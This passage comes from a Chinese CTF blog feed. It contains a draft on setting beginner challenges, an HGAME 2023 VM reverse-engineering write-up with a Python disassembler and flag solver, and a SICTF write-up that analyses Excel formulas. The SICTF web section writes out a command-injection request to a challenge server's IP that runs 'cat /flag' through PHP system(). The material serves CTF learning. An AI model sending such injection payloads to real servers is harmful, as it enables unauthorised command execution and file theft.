    <content type="html"><![CDATA[<h1 id="逆向出题记录"><a href="#逆向出题记录" class="headerlink" title="逆向出题记录"></a>逆向出题记录</h1><p>既然要出题还是新手题就要先了解，出什么题型，这个题有什么用，对工具有什么需求<br>先说一下题型逆向新生题主要有这些(base64，tea家族，动态调试，花指令，打包和反编译，压缩壳，z3，迷宫)<br>先测试一下base64</p><h2 id="2024-11-05"><a href="#2024-11-05" class="headerlink" title="2024-11-05"></a>2024-11-05</h2><h3 id="1-题目描述"><a href="#1-题目描述" class="headerlink" title="1. 题目描述"></a>1. 题目描述</h3><p>题目名称：flag</p><p>题目描述：flag{1234567890}</p><p>题目附件：flag.exe</p>]]></content>
    
    
    <categories>
      
      <category>CTF</category>
      
    </categories>
    
    
    <tags>
      
      <tag>ctf</tag>
      
    </tags>
    
  </entry>
  
  
  
  <entry>
    <title>ctf_vm虚拟机</title>
    <link href="/2024/11/02/ctf-vm%E8%99%9A%E6%8B%9F%E6%9C%BA/"/>
    <url>/2024/11/02/ctf-vm%E8%99%9A%E6%8B%9F%E6%9C%BA/</url>
    
    <content type="html"><![CDATA[<h1 id="ctf-vm虚拟机"><a href="#ctf-vm虚拟机" class="headerlink" title="ctf_vm虚拟机"></a>ctf_vm虚拟机</h1><p>最近打些大比赛果然都有这个虚拟机，但是本人学的不够精细，这次强网杯又有了，借此机会来开个新篇章让自己的技术和见识都涨涨</p><h2 id="HGAME-2023-week4-vm"><a href="#HGAME-2023-week4-vm" class="headerlink" title="[HGAME 2023 week4]vm"></a>[HGAME 2023 week4]vm</h2><p>先借助去年的HGAME来了解一下，这个题非常好，因为已经有了较多的wp可以借助前人的智慧来分析分析，虚拟机题简单来讲就是利用伪代码，在程序中重新实现了一个虚拟机，其实就是把几个重要的汇编代码隐藏起来了而已，我们就要去分析在哪发生了什么。</p><ul><li>查壳<br>可以看出这个是c++编写的64位EXE程序，没有壳<br><img src="https://gitee.com/fogpost/photo/raw/master/202411021001405.png" srcset="/img/loading.gif" lazyload></li><li>IDA分析<br>可见这个直接就是一个简单的判断我们直达vm虚拟机内部<br><img src="https://gitee.com/fogpost/photo/raw/master/202411021004776.png" srcset="/img/loading.gif" lazyload><br>这代表这这个命令函数的最大值是255(0xff)<br><img src="https://gitee.com/fogpost/photo/raw/master/202411021005546.png" srcset="/img/loading.gif" lazyload><br>进入虚拟机主要函数，逐步分析每个分支分别代表什么<br><img src="https://gitee.com/fogpost/photo/raw/master/202411021021368.png" srcset="/img/loading.gif" lazyload><br>我们来看看每个函数的内部来了解发生了什么</li></ul><ol><li>mov<br><img src="https://gitee.com/fogpost/photo/raw/master/202411021023687.png" srcset="/img/loading.gif" lazyload></li><li>push&amp;pop<br>这两个同理<br><img src="https://gitee.com/fogpost/photo/raw/master/202411021026035.png" srcset="/img/loading.gif" lazyload><br><img src="https://gitee.com/fogpost/photo/raw/master/202411021027121.png" srcset="/img/loading.gif" lazyload></li><li>mul数据计算单元<br>感觉和我们之前学的数电计算单元一样，单独分出了一个模块来运算操作，分别是【+、-、*、^、&lt;&lt;、&gt;&gt;、0】<br><img src="https://gitee.com/fogpost/photo/raw/master/202411021031712.png" srcset="/img/loading.gif" lazyload></li><li>cmp比较单元<br>直接看就看出来了，从cmp也是相同为0不同为1<br><img src="https://gitee.com/fogpost/photo/raw/master/202411021033928.png" srcset="/img/loading.gif" lazyload></li><li>jmp跳转单元<br><img src="https://gitee.com/fogpost/photo/raw/master/202411021034959.png" srcset="/img/loading.gif" lazyload></li><li>je和jne<br>相同跳转和不相同跳转<br><img src="https://gitee.com/fogpost/photo/raw/master/202411021037299.png" srcset="/img/loading.gif" lazyload><br><img src="https://gitee.com/fogpost/photo/raw/master/202411021037492.png" srcset="/img/loading.gif" lazyload></li></ol><p>至此已分析完毕,很简单对不对，汇编语句总共就那么多条，常用且能用的就更少了我们只要仔细分析就行</p><ul><li>exp<br>直接抄的，这个其实涉及一些idc脚本的编写，之后我也会出一篇博客来讲，怎么利用idc脚本去进行SMC的解密以及花指令的去除<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br></pre></td><td class="code"><pre><code class="hljs python">opcode = [<span class="hljs-number">0x00</span>, <span class="hljs-number">0x03</span>, <span class="hljs-number">0x02</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x03</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x02</span>, <span class="hljs-number">0x03</span>,<span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>,<span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x02</span>, <span class="hljs-number">0x01</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x03</span>, <span class="hljs-number">0x02</span>, <span class="hljs-number">0x32</span>,<span class="hljs-number">0x03</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x02</span>, <span class="hljs-number">0x03</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x03</span>, <span class="hljs-number">0x00</span>,<span class="hljs-number">0x01</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x03</span>, <span class="hljs-number">0x02</span>, <span class="hljs-number">0x64</span>, <span class="hljs-number">0x03</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x02</span>, <span class="hljs-number">0x03</span>,<span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x03</span>, <span class="hljs-number">0x03</span>, <span class="hljs-number">0x01</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x03</span>,<span class="hljs-number">0x00</span>, <span class="hljs-number">0x08</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x02</span>, <span class="hljs-number">0x02</span>, <span class="hljs-number">0x01</span>, <span class="hljs-number">0x03</span>, <span class="hljs-number">0x04</span>, <span class="hljs-number">0x01</span>, <span class="hljs-number">0x00</span>,<span class="hljs-number">0x03</span>, <span class="hljs-number">0x05</span>, <span class="hljs-number">0x02</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x03</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x01</span>, <span class="hljs-number">0x02</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x02</span>,<span class="hljs-number">0x00</span>, <span class="hljs-number">0x01</span>, <span class="hljs-number">0x01</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x03</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x01</span>, <span class="hljs-number">0x03</span>, <span class="hljs-number">0x00</span>,<span class="hljs-number">0x03</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x02</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x03</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x03</span>, <span class="hljs-number">0x01</span>, <span class="hljs-number">0x28</span>,<span class="hljs-number">0x04</span>, <span class="hljs-number">0x06</span>, <span class="hljs-number">0x5F</span>, <span class="hljs-number">0x05</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x03</span>, <span class="hljs-number">0x03</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x02</span>,<span class="hljs-number">0x01</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x03</span>, <span class="hljs-number">0x02</span>, <span class="hljs-number">0x96</span>, <span class="hljs-number">0x03</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x02</span>, <span class="hljs-number">0x03</span>, <span class="hljs-number">0x00</span>,<span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x04</span>, <span class="hljs-number">0x07</span>, <span class="hljs-number">0x88</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x03</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x01</span>,<span class="hljs-number">0x03</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x03</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x02</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x03</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x03</span>,<span class="hljs-number">0x01</span>, <span class="hljs-number">0x28</span>, <span class="hljs-number">0x04</span>, <span class="hljs-number">0x07</span>, <span class="hljs-number">0x63</span>, <span class="hljs-number">0xFF</span>, <span class="hljs-number">0xFF</span>]<br>input1 = []<br>i = <span class="hljs-number">0</span><br><span class="hljs-keyword">while</span> opcode[i] != <span class="hljs-number">0xFF</span>:<br>    <span class="hljs-keyword">match</span> opcode[i]:<br>        <span class="hljs-keyword">case</span> <span class="hljs-number">0x00</span>:<br>            <span class="hljs-built_in">print</span>(<span class="hljs-string">f&#x27;<span class="hljs-subst">&#123;i&#125;</span>&#x27;</span>, end=<span class="hljs-string">&#x27; &#x27;</span>)<br>            o = i + <span class="hljs-number">1</span><br>            <span class="hljs-keyword">if</span> opcode[o]:<br>                <span class="hljs-keyword">match</span> opcode[o]:<br>                    <span class="hljs-keyword">case</span> <span class="hljs-number">0x01</span>:<br>                        <span class="hljs-built_in">print</span>(<span class="hljs-string">&quot;mov input[reg[2]], reg[0]&quot;</span>)<br>                    <span class="hljs-keyword">case</span> <span class="hljs-number">0x02</span>:<br>                        <span class="hljs-built_in">print</span>(<span class="hljs-string">&quot;mov reg[%d], reg[%d]&quot;</span> % (opcode[i+<span class="hljs-number">2</span>],opcode[i+<span class="hljs-number">3</span>]))<br>                    <span class="hljs-keyword">case</span> <span class="hljs-number">0x03</span>:<br>                        <span class="hljs-built_in">print</span>(<span class="hljs-string">&quot;mov reg[%d], %d&quot;</span> % (opcode[i+<span class="hljs-number">2</span>], opcode[i+<span class="hljs-number">3</span>]))<br>            <span class="hljs-keyword">else</span>:<br>                <span class="hljs-built_in">print</span>(<span class="hljs-string">&quot;mov reg[0], input[reg[2]]&quot;</span>)<br>            i += <span class="hljs-number">4</span><br>        <span class="hljs-keyword">case</span> <span class="hljs-number">0x01</span>:<br>            <span class="hljs-built_in">print</span>(<span class="hljs-string">f&#x27;<span class="hljs-subst">&#123;i&#125;</span>&#x27;</span>, end=<span class="hljs-string">&#x27; &#x27;</span>)<br>            o = i + <span class="hljs-number">1</span><br>            <span class="hljs-keyword">if</span> opcode[o]:<br>                <span class="hljs-keyword">match</span> opcode[o]:<br>                    <span class="hljs-keyword">case</span> <span class="hljs-number">0x01</span>:<br>                        <span class="hljs-built_in">print</span>(<span class="hljs-string">&quot;push reg[0]&quot;</span>)<br>                    <span class="hljs-keyword">case</span> <span class="hljs-number">0x02</span>:<br>                        <span class="hljs-built_in">print</span>(<span class="hljs-string">&quot;push reg[2]&quot;</span>)<br>                    <span class="hljs-keyword">case</span> <span class="hljs-number">0x03</span>:<br>                        <span class="hljs-built_in">print</span>(<span class="hljs-string">&quot;push reg[3]&quot;</span>)<br>            <span class="hljs-keyword">else</span>:<br>                <span class="hljs-built_in">print</span>(<span class="hljs-string">&quot;push reg[0]&quot;</span>)<br>            i += <span class="hljs-number">2</span><br>        <span class="hljs-keyword">case</span> <span class="hljs-number">0x02</span>:<br>            <span class="hljs-built_in">print</span>(<span class="hljs-string">f&#x27;<span class="hljs-subst">&#123;i&#125;</span>&#x27;</span>, end=<span class="hljs-string">&#x27; &#x27;</span>)<br>            o = i + <span class="hljs-number">1</span><br>            <span class="hljs-keyword">if</span> opcode[o]:<br>                <span class="hljs-keyword">match</span> opcode[o]:<br>                    <span class="hljs-keyword">case</span> <span class="hljs-number">0x01</span>:<br>                        <span class="hljs-built_in">print</span>(<span class="hljs-string">&quot;pop reg[1]&quot;</span>)<br>                    <span class="hljs-keyword">case</span> <span class="hljs-number">0x02</span>:<br>                        <span class="hljs-built_in">print</span>(<span class="hljs-string">&quot;pop reg[2]&quot;</span>)<br>                    <span class="hljs-keyword">case</span> <span class="hljs-number">0x03</span>:<br>                        <span class="hljs-built_in">print</span>(<span class="hljs-string">&quot;pop reg[3]&quot;</span>)<br>            <span class="hljs-keyword">else</span>:<br>                <span class="hljs-built_in">print</span>(<span class="hljs-string">&quot;pop reg[0]&quot;</span>)<br>            i += <span class="hljs-number">2</span><br>        <span class="hljs-keyword">case</span> <span class="hljs-number">0x03</span>:<br>            <span class="hljs-built_in">print</span>(<span class="hljs-string">f&#x27;<span class="hljs-subst">&#123;i&#125;</span>&#x27;</span>, end=<span class="hljs-string">&#x27; &#x27;</span>)<br>            o = i + <span class="hljs-number">1</span><br>            <span class="hljs-keyword">match</span> opcode[o]:<br>                <span class="hljs-keyword">case</span> <span class="hljs-number">0</span>:<br>                    <span class="hljs-built_in">print</span>(<span class="hljs-string">&quot;add reg[%d],reg[%d]&quot;</span> % (opcode[i + <span class="hljs-number">2</span>], opcode[i + <span class="hljs-number">3</span>]))<br>                <span class="hljs-keyword">case</span> <span class="hljs-number">1</span>:<br>                    <span class="hljs-built_in">print</span>(<span class="hljs-string">&quot;sup reg[%d],reg[%d]&quot;</span> % (opcode[i + <span class="hljs-number">2</span>], opcode[i + <span class="hljs-number">3</span>]))<br>                <span class="hljs-keyword">case</span> <span class="hljs-number">2</span>:<br>                    <span class="hljs-built_in">print</span>(<span class="hljs-string">&quot;mul reg[%d],reg[%d]&quot;</span> % (opcode[i + <span class="hljs-number">2</span>], opcode[i + <span class="hljs-number">3</span>]))<br>                <span class="hljs-keyword">case</span> <span class="hljs-number">3</span>:<br>                    <span class="hljs-built_in">print</span>(<span class="hljs-string">&quot;xor reg[%d],reg[%d]&quot;</span> % (opcode[i + <span class="hljs-number">2</span>], opcode[i + <span class="hljs-number">3</span>]))<br>                <span class="hljs-keyword">case</span> <span class="hljs-number">4</span>:<br>                    <span class="hljs-built_in">print</span>(<span class="hljs-string">&quot;shl reg[%d],reg[%d]&quot;</span> % (opcode[i + <span class="hljs-number">2</span>], opcode[i + <span class="hljs-number">3</span>]))<br>                <span class="hljs-keyword">case</span> <span class="hljs-number">5</span>:<br>                    <span class="hljs-built_in">print</span>(<span class="hljs-string">&quot;shr reg[%d],reg[%d]&quot;</span> % (opcode[i + <span class="hljs-number">2</span>], opcode[i + <span class="hljs-number">3</span>]))<br>            i += <span class="hljs-number">4</span><br>        <span class="hljs-keyword">case</span> <span class="hljs-number">0x04</span>:<br>            <span class="hljs-built_in">print</span>(<span class="hljs-string">f&#x27;<span class="hljs-subst">&#123;i&#125;</span> cmp reg[0], reg[1]&#x27;</span>)<br>            i += <span class="hljs-number">1</span><br>        <span class="hljs-keyword">case</span> <span class="hljs-number">0x05</span>:<br>            <span class="hljs-built_in">print</span>(<span class="hljs-string">f&#x27;<span class="hljs-subst">&#123;i&#125;</span> jmp %d &#x27;</span> % (opcode[i+<span class="hljs-number">1</span>]))<br>            i += <span class="hljs-number">2</span><br>        <span class="hljs-keyword">case</span> <span class="hljs-number">0x06</span>:<br>            <span class="hljs-built_in">print</span>(<span class="hljs-string">f&#x27;<span class="hljs-subst">&#123;i&#125;</span> je %d &#x27;</span> % (opcode[i+<span class="hljs-number">1</span>]))<br>            i += <span class="hljs-number">2</span><br>        <span class="hljs-keyword">case</span> <span class="hljs-number">0x07</span>:<br>            <span class="hljs-built_in">print</span>(<span class="hljs-string">f&#x27;<span class="hljs-subst">&#123;i&#125;</span> jne %d &#x27;</span> % (opcode[i+<span class="hljs-number">1</span>]))<br>            i += <span class="hljs-number">2</span><br></code></pre></td></tr></table></figure></li><li>输出和分析<br>0 mov reg[2], 0<br>4 add reg[2],reg[3]<br>8 mov reg[0], input[reg[2]]<br>12 mov reg[1], reg[0]<br>&#x2F;&#x2F;前四局  用于数据的初始化<br>16 mov reg[2], 50<br>20 add reg[2],reg[3]<br>24 mov reg[0], input[reg[2]]<br>28 add reg[1],reg[0]<br>&#x2F;&#x2F;以50为分界线，将新的数据与原来的reg[1]相加相当于数组之间全部加一遍<br>32 mov reg[2], 100<br>36 add reg[2],reg[3]<br>40 mov reg[0], input[reg[2]]<br>44 xor reg[1],reg[0]<br>&#x2F;&#x2F;以100为分界线，将新的数据与原来的reg[1]进行异或<br>48 mov reg[0], 8<br>52 mov reg[2], reg[1]<br>56 shl reg[1],reg[0]<br>60 shr reg[2],reg[0]<br>64 add reg[1],reg[2]<br>68 mov reg[0], reg[1]<br>72 push reg[0]<br>&#x2F;&#x2F;这一步是将reg[0]置为8，然后进行左移右移操作，最后将结果加到reg[1]上，并将结果压入栈中<br>74 mov reg[0], 1<br>78 add reg[3],reg[0]<br>82 mov reg[0], reg[3]<br>86 mov reg[1], 40<br>90 cmp reg[0], reg[1]<br>91 je 95<br>93 jmp 0<br>95 mov reg[3], 0<br>&#x2F;&#x2F;这个代表的是将上面的过程重复40次<br>99 pop reg[1]<br>101 mov reg[2], 150<br>105 add reg[2],reg[3]<br>109 mov reg[0], input[reg[2]]<br>113 cmp reg[0], reg[1]<br>114 jne 136<br>&#x2F;&#x2F;这个是将栈中的数据与150号位置的数据进行比较，如果相同则跳转到136，否则跳转到0<br>116 mov reg[0], 1<br>120 add reg[3],reg[0]<br>124 mov reg[0], reg[3]<br>128 mov reg[1], 40<br>132 cmp reg[0], reg[1]<br>133 jne 99<br>&#x2F;&#x2F;循环四十次回到99，好像是干扰项</li></ul><p>函数就是这个</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><code class="hljs python">flag = []  <br>a1 = []  <br>a2 = []  <br>a3 = []  <br>k = a1 + flag  <br>k2 = a2 ^ k  <br>a3 = k2 &lt;&lt; <span class="hljs-number">8</span> + k2 &gt;&gt; <span class="hljs-number">8</span><br><span class="hljs-comment">#nixiang</span><br><span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(<span class="hljs-number">40</span>):<br>    k2=((a3[i])&gt;&gt;<span class="hljs-number">8</span>)&amp;<span class="hljs-number">0xff</span>+((a3[i])&lt;&lt;<span class="hljs-number">8</span>)&amp;<span class="hljs-number">0xff</span><br>    k=k2^a2<br>    flag=k-a1<br></code></pre></td></tr></table></figure><figure class="highlight py"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><code class="hljs py">a1 = [<span class="hljs-number">155</span>, <span class="hljs-number">168</span>, <span class="hljs-number">2</span>, <span class="hljs-number">188</span>, <span class="hljs-number">172</span>, <span class="hljs-number">156</span>, <span class="hljs-number">206</span>, <span class="hljs-number">250</span>, <span class="hljs-number">2</span>, <span class="hljs-number">185</span>, <span class="hljs-number">255</span>, <span class="hljs-number">58</span>, <span class="hljs-number">116</span>, <span class="hljs-number">72</span>, <span class="hljs-number">25</span>, <span class="hljs-number">105</span>, <span class="hljs-number">232</span>, <span class="hljs-number">3</span>, <span class="hljs-number">203</span>, <span class="hljs-number">201</span>,<br>      <span class="hljs-number">255</span>, <span class="hljs-number">252</span>, <span class="hljs-number">128</span>, <span class="hljs-number">214</span>, <span class="hljs-number">141</span>, <span class="hljs-number">215</span>, <span class="hljs-number">114</span>, <span class="hljs-number">0</span>, <span class="hljs-number">167</span>, <span class="hljs-number">29</span>, <span class="hljs-number">61</span>, <span class="hljs-number">153</span>, <span class="hljs-number">136</span>, <span class="hljs-number">153</span>, <span class="hljs-number">191</span>, <span class="hljs-number">232</span>, <span class="hljs-number">150</span>, <span class="hljs-number">46</span>, <span class="hljs-number">93</span>, <span class="hljs-number">87</span>]<br>a2 = [<span class="hljs-number">201</span>, <span class="hljs-number">169</span>, <span class="hljs-number">189</span>, <span class="hljs-number">139</span>, <span class="hljs-number">23</span>, <span class="hljs-number">194</span>, <span class="hljs-number">110</span>, <span class="hljs-number">248</span>, <span class="hljs-number">245</span>, <span class="hljs-number">110</span>, <span class="hljs-number">99</span>, <span class="hljs-number">99</span>, <span class="hljs-number">213</span>, <span class="hljs-number">70</span>, <span class="hljs-number">93</span>, <span class="hljs-number">22</span>, <span class="hljs-number">152</span>, <span class="hljs-number">56</span>, <span class="hljs-number">48</span>, <span class="hljs-number">115</span>, <span class="hljs-number">56</span>,<br>      <span class="hljs-number">193</span>, <span class="hljs-number">94</span>, <span class="hljs-number">237</span>, <span class="hljs-number">176</span>, <span class="hljs-number">41</span>, <span class="hljs-number">90</span>, <span class="hljs-number">24</span>, <span class="hljs-number">64</span>, <span class="hljs-number">167</span>, <span class="hljs-number">253</span>, <span class="hljs-number">10</span>, <span class="hljs-number">30</span>, <span class="hljs-number">120</span>, <span class="hljs-number">139</span>, <span class="hljs-number">98</span>, <span class="hljs-number">219</span>, <span class="hljs-number">15</span>, <span class="hljs-number">143</span>, <span class="hljs-number">156</span>]<br>a3 = [<span class="hljs-number">18432</span>, <span class="hljs-number">61696</span>, <span class="hljs-number">16384</span>, <span class="hljs-number">8448</span>, <span class="hljs-number">13569</span>, <span class="hljs-number">25600</span>, <span class="hljs-number">30721</span>, <span class="hljs-number">63744</span>, <span class="hljs-number">6145</span>, <span class="hljs-number">20992</span>, <span class="hljs-number">9472</span>, <span class="hljs-number">23809</span>, <span class="hljs-number">18176</span>, <span class="hljs-number">64768</span>, <span class="hljs-number">26881</span>, <span class="hljs-number">23552</span>,<br>      <span class="hljs-number">44801</span>, <span class="hljs-number">45568</span>, <span class="hljs-number">60417</span>,<br>      <span class="hljs-number">20993</span>, <span class="hljs-number">20225</span>, <span class="hljs-number">6657</span>, <span class="hljs-number">20480</span>, <span class="hljs-number">34049</span>, <span class="hljs-number">52480</span>, <span class="hljs-number">8960</span>, <span class="hljs-number">63488</span>, <span class="hljs-number">3072</span>, <span class="hljs-number">52992</span>, <span class="hljs-number">15617</span>, <span class="hljs-number">17665</span>, <span class="hljs-number">33280</span>, <span class="hljs-number">53761</span>, <span class="hljs-number">10497</span>, <span class="hljs-number">54529</span>, <span class="hljs-number">1537</span>,<br>      <span class="hljs-number">41473</span>, <span class="hljs-number">56832</span>, <span class="hljs-number">42497</span>, <span class="hljs-number">51713</span>]<br>a4 = a3[::-<span class="hljs-number">1</span>]<br><span class="hljs-comment"># a4 = [51713, 42497, 56832, 41473, 1537, 54529, 10497, 53761, 33280, 17665, 15617, 52992, 3072, 63488, 8960, 52480, 34049, 20480, 6657, 20225, 20993, 60417, 45568, 44801, 23552, 26881, 64768, 18176, 23809, 9472, 20992, 6145, 63744, 30721, 25600, 13569, 8448, 16384, 61696, 18432]</span><br>flag = [<span class="hljs-number">0</span>] * <span class="hljs-number">40</span><br><span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(<span class="hljs-number">40</span>):<br>    flag[i] = ((a4[i] &gt;&gt; <span class="hljs-number">8</span>) &amp; <span class="hljs-number">0xff</span> + (a4[i] &lt;&lt; <span class="hljs-number">8</span>))<br>    flag[i] ^= a2[i]<br>    flag[i] -= a1[i]<br><span class="hljs-built_in">print</span>(<span class="hljs-string">&quot;&quot;</span>.join([<span class="hljs-built_in">chr</span>(a&amp;<span class="hljs-number">0xff</span>) <span class="hljs-keyword">for</span> a <span class="hljs-keyword">in</span> flag]))<br><br><span class="hljs-comment"># hgame&#123;y0ur_rever5e_sk1ll_i5_very_g0od!!&#125;</span><br></code></pre></td></tr></table></figure><h2 id="强网杯-2024-easy-vm"><a href="#强网杯-2024-easy-vm" class="headerlink" title="[强网杯 2024 easy_vm]"></a>[强网杯 2024 easy_vm]</h2><p>接触完了去年的我们来看看强网杯的vm吧</p><ul><li>查壳<br><img src="https://gitee.com/fogpost/photo/raw/master/202411021111059.png" srcset="/img/loading.gif" lazyload></li><li>ida分析<br><img src="https://gitee.com/fogpost/photo/raw/master/202411021116697.png" srcset="/img/loading.gif" lazyload><br>这次的区块有点大，我们逐段来分析一下</li></ul>]]></content>
    
    
    
    <tags>
      
      <tag>ctf</tag>
      
    </tags>
    
  </entry>
  
  
  
  <entry>
    <title>sicctfwp</title>
    <link href="/2024/11/01/sicctfwp/"/>
    <url>/2024/11/01/sicctfwp/</url>
    
    <content type="html"><![CDATA[<h1 id="web"><a href="#web" class="headerlink" title="web"></a>web</h1><h2 id="Sigin"><a href="#Sigin" class="headerlink" title="Sigin"></a>Sigin</h2><p>打开网页后出现这个页面<br><img src="https://gitee.com/fogpost/photo/raw/master/202411012216221.png" srcset="/img/loading.gif" lazyload><br>典型的robots协议，访问robots.txt<br>按照提示进入，发现一下界面<br><img src="https://gitee.com/fogpost/photo/raw/master/202411012217411.png" srcset="/img/loading.gif" lazyload><br>在本地弄一个php环境跑一下出了这个</p><blockquote><p>system(get_deined_vars()[_GET)][W3lc0me_t0_SICTF.2024])  </p></blockquote><p>简单来说就是将W3lc0me_t0_SICTF.2024作为system的get参数，多亏了有蒋✌教,这里存在一个php特性就是不能过多的下划线要改为W3lc0me_t0[SICTF.2024这个才行</p><blockquote><p><a href="http://27.25.151.29:33218/wh3re_1s_thi5_fl4g.php?W3lc0me_t0%5BSICTF.2024=cat">http://27.25.151.29:33218/wh3re_1s_thi5_fl4g.php?W3lc0me_t0[SICTF.2024=cat</a> &#x2F;flag<br>SICTF{e79dbf83-bce6-4545-a9d7-53c527f3f13c} </p></blockquote><h1 id="reverse"><a href="#reverse" class="headerlink" title="reverse"></a>reverse</h1><h2 id="Exc"><a href="#Exc" class="headerlink" title="Exc??"></a>Exc??</h2><p>感觉和之前moectf的一个很像，直接打开看看<br>将这个xlsx分为一下几个模块</p><ul><li>输入输出模块<br><img src="https://gitee.com/fogpost/photo/raw/master/202411012230759.png" srcset="/img/loading.gif" lazyload></li><li>算法模块<br><img src="https://gitee.com/fogpost/photo/raw/master/202411012231237.png" srcset="/img/loading.gif" lazyload><br>先看wrong格中的内容</li></ul><blockquote><p>IF(C3&#x3D;D19,IF(F3&#x3D;G19,IF(I3&#x3D;J19,IF(L3&#x3D;D21,IF(O3&#x3D;G21,IF(R3&#x3D;J21,IF(U3&#x3D;D23,IF(X3&#x3D;G23,IF(AA3&#x3D;J23,</p></blockquote><blockquote><p>IF(D13&#x3D;Q19,IF(G13&#x3D;T19,IF(J13&#x3D;W19,IF(D15&#x3D;Q21,IF(G15&#x3D;T21,IF(J15&#x3D;W21,IF(D17&#x3D;Q23,IF(G17&#x3D;T23,IF(J17&#x3D;W23,</p></blockquote><blockquote><p>IF(D31&#x3D;AT10,IF(G31&#x3D;AW10,IF(J31&#x3D;AZ10,IF(M31&#x3D;AT12,IF(P31&#x3D;AW12,IF(S31&#x3D;AZ12,IF(V31&#x3D;AT14,IF(Y31&#x3D;AW14,IF(AB31&#x3D;AZ14,”Accepted!”)))))))))))))))))))))))))))</p></blockquote><p>  发现存在一个accpted，去找这个实现条件，发现是输入输出模块中的数要与算法模块中的紫色数据块相同<br>继续找紫色output的实现函数</p><p>分别如下<br>&#x3D;BITLSHIFT(CODE(C2),3)+BITLSHIFT(CODE(D2),4)+BITLSHIFT(CODE(E2),5)<br>第二个是<br>&#x3D;CODE(C2)*3+CODE(D2)*4+CODE(E2)*5<br>第三个是<br>&#x3D;CODE(C2)*CODE(D2)+CODE(D2)*CODE(E2)+CODE(E2)*CODE(C2)</p><p>解释一下几个函数<br>BITLSHIFT(number, shift_amount)：执行左移操作<br>CODE(text)：将文本转换为ASCII码</p><figure class="highlight 